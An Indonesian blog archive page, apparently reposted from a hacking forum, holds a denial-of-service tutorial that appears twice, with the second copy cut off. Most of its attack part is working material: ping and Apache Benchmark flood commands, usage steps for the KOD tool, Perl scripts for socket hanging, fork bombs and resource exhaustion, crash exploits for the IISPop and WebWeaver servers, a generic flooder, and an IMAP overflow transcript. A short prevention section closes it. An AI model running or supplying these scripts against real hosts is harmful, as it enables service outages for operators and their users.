Archive for April 2008
duh, hari ini gw harus upload banyak file buat bikin forum. tpi buaaannyaak bgt filenya duuuh gimana ya??
hmm.. gwe tanya ma temen gw ktnya pake ftp aja semoga uploadnya gampang.. ok pribadi aja meluncur ke cpanelnya upload file lewat ftp ;) . selamat mencoba :D
Baca Juga : Tutorial Cmd Shutdown
hmm.. gwe tanya ma temen gw ktnya pake ftp aja semoga uploadnya gampang.. ok pribadi aja meluncur ke cpanelnya upload file lewat ftp ;) . selamat mencoba :D
Baca Juga : Tutorial Cmd Shutdown
Upload File Lewat Ftp
Saturday, 26 April 2008
1. Apa itu DoS ?
2. Apa motif cracker untuk melaksanakan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.
.o0 Apa itu Denial of Service (DoS) ?
Denial of Service yakni aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak sanggup memakai layanan tersebut. Dampak selesai dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang sanggup berakibat sangat fatal (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti aturan ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk sanggup memakai layanan.
4. Merusak sistem semoga korban tidak sanggup memakai layanan.
.o0 Motif penyerang melaksanakan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melaksanakan Denial of Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapat akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Satatus subkultural dalam dunia hacker, yakni sebuah unjuk gigi atau lebih sempurna kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan ekonomi untuk ketika kini juga merupakan alasan yang paling relevan. Kita bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of Service'. Beberapa kasus serangan virus semacam 'code-red' melaksanakan serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapat program-program DoS, menyerupai nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS sanggup melaksanakan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat gampang untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc ... .o0 Denial of Sevice, serangan yang menghabiskan resource.
Pada dasarnya, untuk melumpuhkan sebuah layanan diperlukan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem memakai ratusan MBs spasi swap untuk melayani undangan client. Spasi swap juga dipakai untuk mem-'forked' child process. Bagaimanapun spasi swap selalu berubah dan dipakai dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat jelek pada sistem. Alokasi memori kepada kernel juga merupakan sasaran serangan yang sensitif. Kernel mempunyai kernelmap limit, jikalau sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.
.o0 Teknik Melakukan Denial of Service
Melakukan DoS sesungguhnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak jelek terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya yakni menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik. Kita akan bahas tipe-tipe serangan DoS.
1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole' pada ketika koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang mengakibatkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang dipakai tetapi lebih spesifik lagi terhadap prosessor yang dipakai yaitu pentium.
3. Ping Flooding
Ping Flooding yakni brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak sanggup mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi lantaran mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut "smurfing" (http://www.quadrunner.com/ chuegen/smurf.txt).
Serangan memakai exploits.
Beberapa hal yang harus dipahami sebelum melaksanakan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search semoga lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang sanggup dugunakan untuk menyerang Ms. Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini yakni menciptakan hang/blue screen of death pada komputer korban. Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini yakni tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server sasaran (misalnya: blocking)
2. BONK/BOINK
Bong yakni dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang sanggup menciptakan crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.
4. NesTea
Tool ini sanggup membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target serangan yakni Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini yakni Blue Screen of Death
Serangan pribadi (+ 31337)
1. Ping Flood
Membutuhkan saluran root untuk melaksanakan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran. bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, dipakai untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melaksanakan penyalahgunaan. bash $ /usr/sbin/ab -n 10000 -c 300 \ http://korban.com/cgi-bin/search.cgi?q= ... cukup+umum (diketik dalam 1 baris!) Akan melaksanakan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache mempunyai kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software Foundation yakni MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak sanggup berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah-pisah.
Penyerang hanya melaksanakan koneksi kemudian diam, pada ketika itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seakan-akan server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
Beberapa teladan skrip perl untuk melaksanakan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) sanggup terjadi secara remote jikalau demon (server) tidak melaksanakan verifikasi input sehingga input membanjiri buffer dan mengakibatkan jadwal tidak boleh secara paksa.
Beberapa 'proof of concept' sanggup dipelajari melalui beberapa teladan ini.
1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS
IISPop akan crash jikalau diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba yakni V: 1.161 dan 1.181
Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;
print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING sesudah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";
print "Gagal !! \n";
close $connect;
# END.
2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
wzdftpd crash sesudah diberikan perintah/command PORT !
3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : http://www.brswebweaver.com
BugTraqer : euronymous /F0KP
}------- start of fadvWWhtdos.py ---------------{
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your sasaran hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status
}--------- end of fadvWWhtdos.py ---------------{
Serangan diatas mengirimkan 32700 huruf yang mengakibatkan server crash !
4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org
Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini yakni berhentiya server dan harus di-restart secara
manual.
Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------
Perhatian !, teladan eksploitasi diatas memakai NetCat (nc), anda bisa dapatkan tool
ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'
Jika kita perhatikan, serangan flooding mempunyai kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jikalau dilakukan pada komputer esekutor yang mempunyai bandwidth lebar.
Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa menciptakan sebuah skrip universal untuk melaksanakan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).
-- udos.pl --
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING sesudah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";
print "Gagal !! \n";
close $connect;
# End.
-- udos.pl --
Skrip sederhana diatas hanya melaksanakan kekerabatan dengan server korban, kemudian mengirimkan flood dan melaksanakan post testing. Dengan sedikit pemprograman anda sanggup menciptakan sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas anda !
.o0 Penanggulangan serangan Denial of Service
Sejujurnya, pecahan inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melaksanakan input flooding dan menciptakan tool sendiri. Namun Denial of service yakni problem layanan publik.Sama halnya dengan anda mempunyai toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan 'menutup' toko anda - dan ini yakni cara paling efektif - namun tanggapan kekanak-kanakan demikian tentu tidak anda harapkan.
1. Selalu Up 2 Date.
Seperti teladan serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 mempunyai option untuk menolak cracker untuk mengakses system.
2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' dan 'terlatih' akan sangat gampang untuk memasuki sistem dan merusak - tidak tertutup kemungkinan untuk melaksanakan Denial of Service -. Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara pribadi dengan Flooding sanggup diatasi dengan menginstall patch terbaru dari vendor
atau melaksanakan up-date.
3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark. Hal ini sesungguhnya sangat sulit untuk diatasi. Anda bisa melaksanakan identifikasi terhadap pelaku dan melaksanakan pemblokiran manual melalui firewall atau prosedur kontrol Apache (Order, Allow from, Deny From). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti. Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. Jangan lupa juga menambah RAM.
4. Pencegahan serangan non elektronik.
Serangan yang paling efektif intinya yakni local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user yakni orang 'baik'. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan hukuman untuk mencegah user melaksanakan serangan dari dalam. Mungkin cukup efektif jikalau dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.
di kutip dari http://yogyafree.net/forum2
2. Apa motif cracker untuk melaksanakan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.
.o0 Apa itu Denial of Service (DoS) ?
Denial of Service yakni aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak sanggup memakai layanan tersebut. Dampak selesai dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang sanggup berakibat sangat fatal (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti aturan ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk sanggup memakai layanan.
4. Merusak sistem semoga korban tidak sanggup memakai layanan.
.o0 Motif penyerang melaksanakan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melaksanakan Denial of Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapat akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Satatus subkultural dalam dunia hacker, yakni sebuah unjuk gigi atau lebih sempurna kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan ekonomi untuk ketika kini juga merupakan alasan yang paling relevan. Kita bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of Service'. Beberapa kasus serangan virus semacam 'code-red' melaksanakan serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapat program-program DoS, menyerupai nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS sanggup melaksanakan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat gampang untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc ... .o0 Denial of Sevice, serangan yang menghabiskan resource.
Pada dasarnya, untuk melumpuhkan sebuah layanan diperlukan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem memakai ratusan MBs spasi swap untuk melayani undangan client. Spasi swap juga dipakai untuk mem-'forked' child process. Bagaimanapun spasi swap selalu berubah dan dipakai dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat jelek pada sistem. Alokasi memori kepada kernel juga merupakan sasaran serangan yang sensitif. Kernel mempunyai kernelmap limit, jikalau sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.
.o0 Teknik Melakukan Denial of Service
Melakukan DoS sesungguhnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak jelek terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya yakni menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik. Kita akan bahas tipe-tipe serangan DoS.
1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole' pada ketika koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang mengakibatkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang dipakai tetapi lebih spesifik lagi terhadap prosessor yang dipakai yaitu pentium.
3. Ping Flooding
Ping Flooding yakni brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak sanggup mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi lantaran mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut "smurfing" (http://www.quadrunner.com/ chuegen/smurf.txt).
Serangan memakai exploits.
Beberapa hal yang harus dipahami sebelum melaksanakan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search semoga lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang sanggup dugunakan untuk menyerang Ms. Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini yakni menciptakan hang/blue screen of death pada komputer korban. Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini yakni tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server sasaran (misalnya: blocking)
2. BONK/BOINK
Bong yakni dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang sanggup menciptakan crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.
4. NesTea
Tool ini sanggup membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target serangan yakni Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini yakni Blue Screen of Death
Serangan pribadi (+ 31337)
1. Ping Flood
Membutuhkan saluran root untuk melaksanakan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran. bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, dipakai untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melaksanakan penyalahgunaan. bash $ /usr/sbin/ab -n 10000 -c 300 \ http://korban.com/cgi-bin/search.cgi?q= ... cukup+umum (diketik dalam 1 baris!) Akan melaksanakan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache mempunyai kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software Foundation yakni MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak sanggup berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah-pisah.
Penyerang hanya melaksanakan koneksi kemudian diam, pada ketika itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seakan-akan server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
Beberapa teladan skrip perl untuk melaksanakan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) sanggup terjadi secara remote jikalau demon (server) tidak melaksanakan verifikasi input sehingga input membanjiri buffer dan mengakibatkan jadwal tidak boleh secara paksa.
Beberapa 'proof of concept' sanggup dipelajari melalui beberapa teladan ini.
1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS
IISPop akan crash jikalau diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba yakni V: 1.161 dan 1.181
Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;
print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING sesudah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";
print "Gagal !! \n";
close $connect;
# END.
2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
wzdftpd crash sesudah diberikan perintah/command PORT !
3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : http://www.brswebweaver.com
BugTraqer : euronymous /F0KP
}------- start of fadvWWhtdos.py ---------------{
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your sasaran hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status
}--------- end of fadvWWhtdos.py ---------------{
Serangan diatas mengirimkan 32700 huruf yang mengakibatkan server crash !
4. Buffer Overflow pada MailMAX 5
